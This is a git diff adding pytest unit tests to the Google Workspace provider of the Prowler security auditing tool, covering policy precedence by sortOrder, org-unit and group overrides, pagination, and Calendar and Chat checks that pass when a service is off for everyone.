+ def test_names_the_edition_when_every_licensed_edition_lacks_the_feature(self):
+ suffix = edition_reason_suffix(
+ ["Business Starter"],
+ {"Business Starter", "Business Standard"},
+ "Drive data protection rules are not available on the Google Workspace {editions}.",
+ )
+
+ assert suffix == (
+ " This may be expected because Drive data protection rules are not "
+ "available on the Google Workspace Business Starter edition."
+ )
+
+ def test_lists_every_licensed_edition(self):
+ suffix = edition_reason_suffix(
+ ["Business Standard", "Business Starter"],
+ {"Business Starter", "Business Standard"},
+ "the feature is not available on the {editions}.",
+ )
+
+ assert suffix == (
+ " This may be expected because the feature is not available on the "
+ "Business Standard and Business Starter editions."
+ )
+
+ def test_separates_three_editions_with_commas(self):
+ suffix = edition_reason_suffix(
+ ["Business Plus", "Business Standard", "Business Starter"],
+ {"Business Starter", "Business Standard", "Business Plus"},
+ "the feature is not available on the {editions}.",
+ )
+
+ assert suffix == (
+ " This may be expected because the feature is not available on the "
+ "Business Plus, Business Standard and Business Starter editions."
+ )
+
+ def test_a_supported_edition_in_the_mix_gives_no_excuse(self):
+ suffix = edition_reason_suffix(
+ ["Business Starter", "Enterprise Standard"],
+ {"Business Starter"},
+ "unused {editions}",
+ )
+
+ assert suffix == ""
+
+ def test_cloud_identity_premium_gives_no_excuse(self):
+ suffix = edition_reason_suffix(
+ ["Business Starter", "Cloud Identity Premium"],
+ {"Business Starter"},
+ "unused {editions}",
+ )
+
+ assert suffix == ""
+
+ def test_unknown_editions_give_no_excuse(self):
+ assert edition_reason_suffix([], {"Business Starter"}, "unused") == ""
+ assert edition_reason_suffix(None, {"Business Starter"}, "unused") == ""
+ assert edition_reason_suffix(MagicMock(), {"Business Starter"}, "unused") == ""
diff --git a/tests/providers/googleworkspace/lib/service/googleworkspace_service_test.py b/tests/providers/googleworkspace/lib/service/googleworkspace_service_test.py
index 5e72d285d8..45053fba56 100644
--- a/tests/providers/googleworkspace/lib/service/googleworkspace_service_test.py
+++ b/tests/providers/googleworkspace/lib/service/googleworkspace_service_test.py
@@ -7,6 +7,7 @@ from prowler.providers.googleworkspace.lib.service.service import (
OVERRIDE_SCOPE,
UNKNOWN_SCOPE,
GoogleWorkspaceService,
+ ServicePolicies,
)
ROOT_OU_ID = "03ph8a2z1234"
@@ -125,3 +126,236 @@ class TestPolicyScope:
svc._policy_scope({"policyQuery": {"group": "groups/xyz"}})
== OVERRIDE_SCOPE
)
+
+
+def _policy(
+ setting_type,
+ value,
+ sort_order=None,
+ org_unit=f"orgUnits/{ROOT_OU_ID}",
+ group=None,
+):
+ """Build a policy as the Cloud Identity Policy API returns it."""
+ policy = {"setting": {"type": f"settings/{setting_type}", "value": value}}
+ query = {}
+ if org_unit:
+ query["orgUnit"] = org_unit
+ if group:
+ query["group"] = group
+ if sort_order is not None:
+ query["sortOrder"] = sort_order
+ if query:
+ policy["policyQuery"] = query
+ return policy
+
+
+class TestEffectivePolicies:
+ def test_the_greatest_sort_order_wins_whatever_the_api_order(self):
+ """The ADMIN policy saved in the console outranks Google's SYSTEM defaults, even when the API returns it first"""
+ admin = _policy("security.password", {"minimumLength": 12}, 201.00131)
+ default_a = _policy("security.password", {"minimumLength": 8}, 100.00001)
+ default_b = _policy("security.password", {"minimumLength": 8}, 100.00003)
+ svc = _make_service()
+
+ assert svc._effective_policies([admin, default_a, default_b]) == [admin]
+ assert svc._effective_policies([default_a, default_b, admin]) == [admin]
+
+ def test_each_setting_type_is_reduced_on_its_own(self):
+ password_admin = _policy("security.password", {"minimumLength": 12}, 201.1)
+ password_default = _policy("security.password", {"minimumLength": 8}, 100.1)
+ session_default = _policy(
+ "security.session_controls", {"webSessionDuration": "1209600s"}, 100.3
+ )
+
+ assert _make_service()._effective_policies(
+ [password_admin, password_default, session_default]
+ ) == [password_admin, session_default]
+
+ def test_a_single_policy_is_kept_as_is(self):
+ policy = _policy("sites.service_status", {"serviceState": "ENABLED"})
+
+ assert _make_service()._effective_policies([policy]) == [policy]
+
+ def test_without_a_sort_order_the_last_policy_wins(self):
+ """No sort order means no documented precedence, so the API order is kept"""
+ first = _policy("sites.service_status", {"serviceState": "ENABLED"})
+ last = _policy("sites.service_status", {"serviceState": "DISABLED"})
+
+ assert _make_service()._effective_policies([first, last]) == [last]
+
+ def test_policies_outside_the_customer_scope_are_dropped(self):
+ root = _policy("security.password", {"minimumLength": 8}, 100.1)
+ sub_ou = _policy(
+ "security.password", {"minimumLength": 14}, 300.1, org_unit="orgUnits/sub"
+ )
+ group = _policy(
+ "security.password", {"minimumLength": 16}, 400.1, group="groups/g1"
+ )
+
+ assert _make_service()._effective_policies([sub_ou, root, group]) == [root]
+
+ def test_rules_are_items_rather_than_values_so_every_one_is_kept(self):
+ """Each rule.* policy is a distinct rule, not a competing value for one setting"""
+ dlp_a = _policy("rule.dlp", {"displayName": "cards", "state": "ACTIVE"}, 1)
+ dlp_b = _policy("rule.dlp", {"displayName": "ids", "state": "INACTIVE"}, 2)
+ alert = _policy("rule.system_defined_alerts", {"displayName": "Leaked"}, 1)
+
+ assert _make_service()._effective_policies([dlp_a, dlp_b, alert]) == [
+ dlp_a,
+ dlp_b,
+ alert,
+ ]
+
+ def test_no_policies(self):
+ assert _make_service()._effective_policies([]) == []
+
+
+class TestServiceStatus:
+ def test_off_at_the_customer_level_with_no_override(self):
+ status = _policy("chat.service_status", {"serviceState": "DISABLED"}, 201.1)
+ other = _policy("chat.chat_apps_access", {"enableApps": True}, 100.1)
+
+ assert _make_service()._service_status(
+ [other, status], "chat.service_status"
+ ) == (
+ "DISABLED",
+ False,
+ )
+
+ def test_the_greatest_sort_order_gives_the_state(self):
+ default = _policy("chat.service_status", {"serviceState": "ENABLED"}, 100.1)
+ admin = _policy("chat.service_status", {"serviceState": "DISABLED"}, 201.1)
+
+ assert _make_service()._service_status(
+ [admin, default], "chat.service_status"
+ ) == (
+ "DISABLED",
+ False,
+ )
+
+ def test_an_org_unit_or_group_with_its_own_status_is_an_override(self):
+ root = _policy("chat.service_status", {"serviceState": "DISABLED"}, 201.1)
+ sub_ou = _policy(
+ "chat.service_status",
+ {"serviceState": "ENABLED"},
+ 301.1,
+ org_unit="orgUnits/sub",
+ )
+ group = _policy(
+ "chat.service_status", {"serviceState": "ENABLED"}, 401.1, group="groups/g1"
+ )
+
+ svc = _make_service()
+ assert svc._service_status([root, sub_ou], "chat.service_status") == (
+ "DISABLED",
+ True,
+ )
+ assert svc._service_status([root, group], "chat.service_status") == (
+ "DISABLED",
+ True,
+ )
+
+ def test_a_sub_org_unit_that_is_also_off_is_not_an_override(self):
+ """An org unit that turns the service off as well changes nothing for anyone"""
+ root = _policy("chat.service_status", {"serviceState": "DISABLED"}, 201.1)
+ sub_ou = _policy(
+ "chat.service_status",
+ {"serviceState": "DISABLED"},
+ 301.1,
+ org_unit="orgUnits/sub",
+ )
+
+ assert _make_service()._service_status(
+ [root, sub_ou], "chat.service_status"
+ ) == (
+ "DISABLED",
+ False,
+ )
+
+ def test_an_unresolved_scope_counts_as_an_override(self):
+ """Without the root OU id a scoped policy may be the root or a sub-OU; neither may be assumed"""
+ status = _policy("chat.service_status", {"serviceState": "DISABLED"}, 201.1)
+
+ assert _make_service(root_org_unit_id=None)._service_status(
+ [status], "chat.service_status"
+ ) == (None, True)
+
+ def test_no_status_policy(self):
+ other = _policy("chat.chat_apps_access", {"enableApps": True}, 100.1)
+
+ assert _make_service()._service_status([other], "chat.service_status") == (
+ None,
+ False,
+ )
+
+
+class TestServicePolicies:
+ @pytest.mark.parametrize(
+ "state, overridden, expected",
+ [
+ ("DISABLED", False, True),
+ ("DISABLED", True, False),
+ ("ENABLED", False, False),
+ (None, False, False),
+ ],
+ )
+ def test_off_for_everyone(self, state, overridden, expected):
+ policies = ServicePolicies(
+ service_state=state, service_state_overridden=overridden
+ )
+
+ assert policies.off_for_everyone is expected
+
+
+class TestListPolicies:
+ def test_collects_every_page(self):
+ svc = _make_service()
+ page_1 = {"policies": [_policy("gmail.pop_access", {"enablePopAccess": True})]}
+ page_2 = {
+ "policies": [_policy("gmail.imap_access", {"enableImapAccess": True})]
+ }
+ request_1, request_2 = MagicMock(), MagicMock()
+ request_1.execute.return_value = page_1
+ request_2.execute.return_value = page_2
+ service = MagicMock()
+ service.policies().list.return_value = request_1
+ service.policies().list_next.side_effect = [request_2, None]
+
+ policies, succeeded = svc._list_policies(
+ service, 'setting.type.matches("gmail.*")', "fetching Gmail policies"
+ )
+
+ assert succeeded is True
+ assert policies == page_1["policies"] + page_2["policies"]
+ service.policies().list.assert_called_once_with(
+ pageSize=100, filter='setting.type.matches("gmail.*")'
+ )
+
+ def test_a_failing_page_keeps_what_was_read_and_reports_the_failure(self):
+ svc = _make_service()
+ page_1 = {"policies": [_policy("gmail.pop_access", {"enablePopAccess": True})]}
+ request_1, request_2 = MagicMock(), MagicMock()
+ request_1.execute.return_value = page_1
+ request_2.execute.side_effect = Exception("boom")
+ service = MagicMock()
+ service.policies().list.return_value = request_1
+ service.policies().list_next.side_effect = [request_2, None]
+
+ policies, succeeded = svc._list_policies(
+ service, 'setting.type.matches("gmail.*")', "fetching Gmail policies"
+ )
+
+ assert succeeded is False
+ assert policies == page_1["policies"]
+
+ def test_a_failing_list_call_reports_the_failure(self):
+ svc = _make_service()
+ service = MagicMock()
+ service.policies().list.side_effect = Exception("boom")
+
+ policies, succeeded = svc._list_policies(
+ service, 'setting.type.matches("gmail.*")', "fetching Gmail policies"
+ )
+
+ assert succeeded is False
+ assert policies == []
diff --git a/tests/providers/googleworkspace/services/additionalservices/additionalservices_service_test.py b/tests/providers/googleworkspace/services/additionalservices/additionalservices_service_test.py
index 85d9afea45..15e7a7fee5 100644
--- a/tests/providers/googleworkspace/services/additionalservices/additionalservices_service_test.py
+++ b/tests/providers/googleworkspace/services/additionalservices/additionalservices_service_test.py
@@ -97,6 +97,59 @@ class TestAdditionalServicesService:
assert additional_services.policies_fetched is True
assert additional_services.policies.groups_service_state == "ENABLED"
+ def test_the_admin_policy_outranks_a_system_default_returned_after_it(self):
+ """The greatest sortOrder is the value in force, whatever order the API lists them in"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00131},
+ "setting": {
+ "type": "settings/groups.service_status",
+ "value": {"serviceState": "DISABLED"},
+ },
+ },
+ {
+ "type": "SYSTEM",
+ "policyQuery": {"sortOrder": 100.00002},
+ "setting": {
+ "type": "settings/groups.service_status",
+ "value": {"serviceState": "ENABLED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.additionalservices.additionalservices_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.additionalservices.additionalservices_service import (
+ AdditionalServices,
+ )
+
+ additional_services = AdditionalServices(mock_provider)
+
+ assert additional_services.policies_fetched is True
+ assert additional_services.policies.groups_service_state == "DISABLED"
+
def test_fetch_policies_empty_response(self):
"""Test handling empty policies response"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/calendar/calendar_external_invitations_warning/calendar_external_invitations_warning_test.py b/tests/providers/googleworkspace/services/calendar/calendar_external_invitations_warning/calendar_external_invitations_warning_test.py
index 5ff2cee8f6..e59b099cd3 100644
--- a/tests/providers/googleworkspace/services/calendar/calendar_external_invitations_warning/calendar_external_invitations_warning_test.py
+++ b/tests/providers/googleworkspace/services/calendar/calendar_external_invitations_warning/calendar_external_invitations_warning_test.py
@@ -5,6 +5,7 @@ from prowler.providers.googleworkspace.services.calendar.calendar_service import
)
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -102,6 +103,38 @@ class TestCalendarExternalInvitationsWarning:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.calendar.calendar_external_invitations_warning.calendar_external_invitations_warning.calendar_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.calendar.calendar_external_invitations_warning.calendar_external_invitations_warning import (
+ calendar_external_invitations_warning,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = CalendarPolicies(
+ service_state="DISABLED", external_invitations_warning=False
+ )
+
+ findings = calendar_external_invitations_warning().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Google Calendar is turned off for everyone in domain {DOMAIN}, "
+ f"so no invitation can be sent."
+ )
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/calendar/calendar_external_sharing_primary_calendar/calendar_external_sharing_primary_calendar_test.py b/tests/providers/googleworkspace/services/calendar/calendar_external_sharing_primary_calendar/calendar_external_sharing_primary_calendar_test.py
index 175955f4b6..d9904fa3cb 100644
--- a/tests/providers/googleworkspace/services/calendar/calendar_external_sharing_primary_calendar/calendar_external_sharing_primary_calendar_test.py
+++ b/tests/providers/googleworkspace/services/calendar/calendar_external_sharing_primary_calendar/calendar_external_sharing_primary_calendar_test.py
@@ -5,6 +5,7 @@ from prowler.providers.googleworkspace.services.calendar.calendar_service import
)
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -140,6 +141,39 @@ class TestCalendarExternalSharingPrimaryCalendar:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.calendar.calendar_external_sharing_primary_calendar.calendar_external_sharing_primary_calendar.calendar_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.calendar.calendar_external_sharing_primary_calendar.calendar_external_sharing_primary_calendar import (
+ calendar_external_sharing_primary_calendar,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = CalendarPolicies(
+ service_state="DISABLED",
+ primary_calendar_external_sharing="EXTERNAL_ALL_INFO_READ_WRITE",
+ )
+
+ findings = calendar_external_sharing_primary_calendar().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Google Calendar is turned off for everyone in domain {DOMAIN}, "
+ f"so no calendar can be shared outside the organization."
+ )
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/calendar/calendar_external_sharing_secondary_calendar/calendar_external_sharing_secondary_calendar_test.py b/tests/providers/googleworkspace/services/calendar/calendar_external_sharing_secondary_calendar/calendar_external_sharing_secondary_calendar_test.py
index b513860125..85691ad607 100644
--- a/tests/providers/googleworkspace/services/calendar/calendar_external_sharing_secondary_calendar/calendar_external_sharing_secondary_calendar_test.py
+++ b/tests/providers/googleworkspace/services/calendar/calendar_external_sharing_secondary_calendar/calendar_external_sharing_secondary_calendar_test.py
@@ -5,6 +5,7 @@ from prowler.providers.googleworkspace.services.calendar.calendar_service import
)
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -133,6 +134,39 @@ class TestCalendarExternalSharingSecondaryCalendar:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.calendar.calendar_external_sharing_secondary_calendar.calendar_external_sharing_secondary_calendar.calendar_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.calendar.calendar_external_sharing_secondary_calendar.calendar_external_sharing_secondary_calendar import (
+ calendar_external_sharing_secondary_calendar,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = CalendarPolicies(
+ service_state="DISABLED",
+ secondary_calendar_external_sharing="EXTERNAL_ALL_INFO_READ_WRITE",
+ )
+
+ findings = calendar_external_sharing_secondary_calendar().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Google Calendar is turned off for everyone in domain {DOMAIN}, "
+ f"so no calendar can be shared outside the organization."
+ )
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/calendar/calendar_service_test.py b/tests/providers/googleworkspace/services/calendar/calendar_service_test.py
index 760624e0ae..e908bc1388 100644
--- a/tests/providers/googleworkspace/services/calendar/calendar_service_test.py
+++ b/tests/providers/googleworkspace/services/calendar/calendar_service_test.py
@@ -1,6 +1,7 @@
from unittest.mock import MagicMock, patch
from tests.providers.googleworkspace.googleworkspace_fixtures import (
+ ROOT_ORG_UNIT_ID,
set_mocked_googleworkspace_provider,
)
@@ -77,6 +78,171 @@ class TestCalendarService:
)
assert calendar.policies.external_invitations_warning is True
+ def test_the_admin_policy_outranks_a_system_default_returned_after_it(self):
+ """The greatest sortOrder is the value in force, whatever order the API lists them in"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00131},
+ "setting": {
+ "type": "settings/calendar.secondary_calendar_max_allowed_external_sharing",
+ "value": {
+ "maxAllowedExternalSharing": "EXTERNAL_FREE_BUSY_ONLY"
+ },
+ },
+ },
+ {
+ "type": "SYSTEM",
+ "policyQuery": {"sortOrder": 100.00004},
+ "setting": {
+ "type": "settings/calendar.secondary_calendar_max_allowed_external_sharing",
+ "value": {
+ "maxAllowedExternalSharing": "EXTERNAL_ALL_INFO_READ_ONLY"
+ },
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.calendar.calendar_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.calendar.calendar_service import (
+ Calendar,
+ )
+
+ calendar = Calendar(mock_provider)
+
+ assert calendar.policies_fetched is True
+ assert (
+ calendar.policies.secondary_calendar_external_sharing
+ == "EXTERNAL_FREE_BUSY_ONLY"
+ )
+
+ def test_off_for_everyone_when_off_at_the_root_with_no_override(self):
+ """A root-level DISABLED status with no org unit or group override is off for everyone"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {
+ "orgUnit": f"orgUnits/{ROOT_ORG_UNIT_ID}",
+ "sortOrder": 201.00122,
+ },
+ "setting": {
+ "type": "settings/calendar.service_status",
+ "value": {"serviceState": "DISABLED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.calendar.calendar_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.calendar.calendar_service import (
+ Calendar,
+ )
+
+ fetched = Calendar(mock_provider)
+
+ assert fetched.policies_fetched is True
+ assert fetched.policies.service_state == "DISABLED"
+ assert fetched.policies.service_state_overridden is False
+ assert fetched.policies.off_for_everyone is True
+
+ def test_reads_the_service_status_and_its_overrides(self):
+ """Off at the customer level only counts when no org unit or group turns the service back on"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00122},
+ "setting": {
+ "type": "settings/calendar.service_status",
+ "value": {"serviceState": "DISABLED"},
+ },
+ },
+ {
+ "type": "ADMIN",
+ "policyQuery": {"orgUnit": "orgUnits/sub", "sortOrder": 301.00122},
+ "setting": {
+ "type": "settings/calendar.service_status",
+ "value": {"serviceState": "ENABLED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.calendar.calendar_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.calendar.calendar_service import (
+ Calendar,
+ )
+
+ fetched = Calendar(mock_provider)
+
+ assert fetched.policies_fetched is True
+ assert fetched.policies.service_state == "DISABLED"
+ assert fetched.policies.service_state_overridden is True
+ assert fetched.policies.off_for_everyone is False
+
def test_calendar_fetch_policies_empty_response(self):
"""Test handling empty policies response"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/chat/chat_apps_installation_disabled/chat_apps_installation_disabled_test.py b/tests/providers/googleworkspace/services/chat/chat_apps_installation_disabled/chat_apps_installation_disabled_test.py
index a476321754..9bb7e35c47 100644
--- a/tests/providers/googleworkspace/services/chat/chat_apps_installation_disabled/chat_apps_installation_disabled_test.py
+++ b/tests/providers/googleworkspace/services/chat/chat_apps_installation_disabled/chat_apps_installation_disabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.chat.chat_service import ChatPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -93,6 +94,69 @@ class TestChatAppsInstallationDisabled:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.chat.chat_apps_installation_disabled.chat_apps_installation_disabled.chat_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.chat.chat_apps_installation_disabled.chat_apps_installation_disabled import (
+ chat_apps_installation_disabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = ChatPolicies(
+ service_state="DISABLED", enable_apps=True
+ )
+
+ findings = chat_apps_installation_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Google Chat is turned off for everyone in domain {DOMAIN}, "
+ f"so Chat apps cannot be installed."
+ )
+
+ def test_evaluates_the_setting_when_an_override_turns_the_service_on(self):
+ """Off at the customer level with an org unit turned back on is not off for everyone"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.chat.chat_apps_installation_disabled.chat_apps_installation_disabled.chat_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.chat.chat_apps_installation_disabled.chat_apps_installation_disabled import (
+ chat_apps_installation_disabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = ChatPolicies(
+ service_state="DISABLED",
+ service_state_overridden=True,
+ enable_apps=True,
+ )
+
+ findings = chat_apps_installation_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "turned off" not in findings[0].status_extended
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/chat/chat_external_file_sharing_disabled/chat_external_file_sharing_disabled_test.py b/tests/providers/googleworkspace/services/chat/chat_external_file_sharing_disabled/chat_external_file_sharing_disabled_test.py
index 429375ebe5..37cae34c4d 100644
--- a/tests/providers/googleworkspace/services/chat/chat_external_file_sharing_disabled/chat_external_file_sharing_disabled_test.py
+++ b/tests/providers/googleworkspace/services/chat/chat_external_file_sharing_disabled/chat_external_file_sharing_disabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.chat.chat_service import ChatPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -123,6 +124,38 @@ class TestChatExternalFileSharingDisabled:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.chat.chat_external_file_sharing_disabled.chat_external_file_sharing_disabled.chat_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.chat.chat_external_file_sharing_disabled.chat_external_file_sharing_disabled import (
+ chat_external_file_sharing_disabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = ChatPolicies(
+ service_state="DISABLED", external_file_sharing="ALL_FILES"
+ )
+
+ findings = chat_external_file_sharing_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Google Chat is turned off for everyone in domain {DOMAIN}, "
+ f"so no files can be shared externally through Chat."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/chat/chat_external_messaging_restricted/chat_external_messaging_restricted_test.py b/tests/providers/googleworkspace/services/chat/chat_external_messaging_restricted/chat_external_messaging_restricted_test.py
index 09fa3d2dbc..9e3dd42907 100644
--- a/tests/providers/googleworkspace/services/chat/chat_external_messaging_restricted/chat_external_messaging_restricted_test.py
+++ b/tests/providers/googleworkspace/services/chat/chat_external_messaging_restricted/chat_external_messaging_restricted_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.chat.chat_service import ChatPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -128,6 +129,40 @@ class TestChatExternalMessagingRestricted:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.chat.chat_external_messaging_restricted.chat_external_messaging_restricted.chat_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.chat.chat_external_messaging_restricted.chat_external_messaging_restricted import (
+ chat_external_messaging_restricted,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = ChatPolicies(
+ service_state="DISABLED",
+ allow_external_chat=True,
+ external_chat_restriction="NO_RESTRICTION",
+ )
+
+ findings = chat_external_messaging_restricted().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Google Chat is turned off for everyone in domain {DOMAIN}, "
+ f"so no external messaging can take place."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
